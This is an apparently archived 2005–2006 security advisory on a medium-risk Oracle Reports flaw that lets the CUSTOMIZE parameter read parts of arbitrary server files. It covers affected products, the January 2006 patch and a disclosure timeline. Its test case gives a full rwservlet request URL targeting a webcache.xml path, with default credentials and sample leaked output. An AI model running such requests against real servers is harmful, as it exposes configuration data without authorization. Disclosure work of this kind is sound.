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Read parts of any XML-file via customize parameter in Oracle Reports

Name Read parts of any XML-file via customize parameter in Oracle Reports
Severity Medium Risk
Category Information disclosure
Vendor URL http://www.oracle.com/
Author Alexander Kornbrust (ak at red-database-security.com)
Date 25 August 2005 (V 1.02)
Cert VU# 277757
Oracle Bugid 5882923 (REP04)
Time to fix
875 days ago


Details
Oracle Reports is Oracle's award-winning, high-fidelity enterprise reporting tool.

It enables businesses to give immediate access to information to all levels within and outside of the
organization in an unrivaled scalable and secure environment. Oracle Reports, a component of the Oracle
Application Server, is used by Oracle itself for the E-Business Suite. Many large customers are using Oracle
Reports as reporting tool for their enterprise applications.

The Oracle Reports parameter customize can read any file by using an absolute or relative file name.
Parts of the file content are displayed in the Reports error message (see test case).



Affected Products
Internet Application Server
Oracle Application Server
Oracle Developer Suite

Patch Information
This bug is finally fixed with Critical Patch Update January 2006.


Testcase
http://myserver:7778/reports/rwservlet?server=myserver+report=test.rdf+userid=scott/tiger@iasdb
+destype=cache+desformat=xml+CUSTOMIZE=/opt/ORACLE/ias/oracle/product/9.0.2/webcache/webcache.xml

***Reports Output****

REP--866648059: Error in the XML report definition at line 3 in
'
Element 'CALYPSO' used but not declared.'.

***Reports Output****


History
26-aug-2003 Oracle secalert was informed
27-aug-2003 Bug confirmed
15-apr-2005 Red-Database-Security informed Oracle secalert that this vulnerability will publish after CPU July 2005
Red-Database-Security offered Oracle more time if it is not possible to provide a fix ==> NO FEEDBACK.
12-jul-2005 Oracle published CPU July 2005 without fixing this issue
18-jul-2005 Red-Database-Security published this advisory
21-jul-2005 Cert VU# and affected products added
13-jan-2005 days since initial report updated
17-jan-2006 Oracle published the Critical Patch Update January 2006 (CPU January 2006)
19-jan-2006 Oracle Vuln# REP04


© 2006 by Red-Database-Security GmbH - last update 19-jan-2006

Oracle Reports

Oracle Reports is Oracle's award-winning, high-fidelity enterprise reporting tool.

It enables businesses to give immediate access to information to all levels within and outside
of the organization in an unrivaled scalable and secure environment. Oracle Reports consists of
Oracle Reports Developer (a component of the Oracle Developer Suite) and Oracle Application Server
Reports Services (a component of the Oracle Application Server).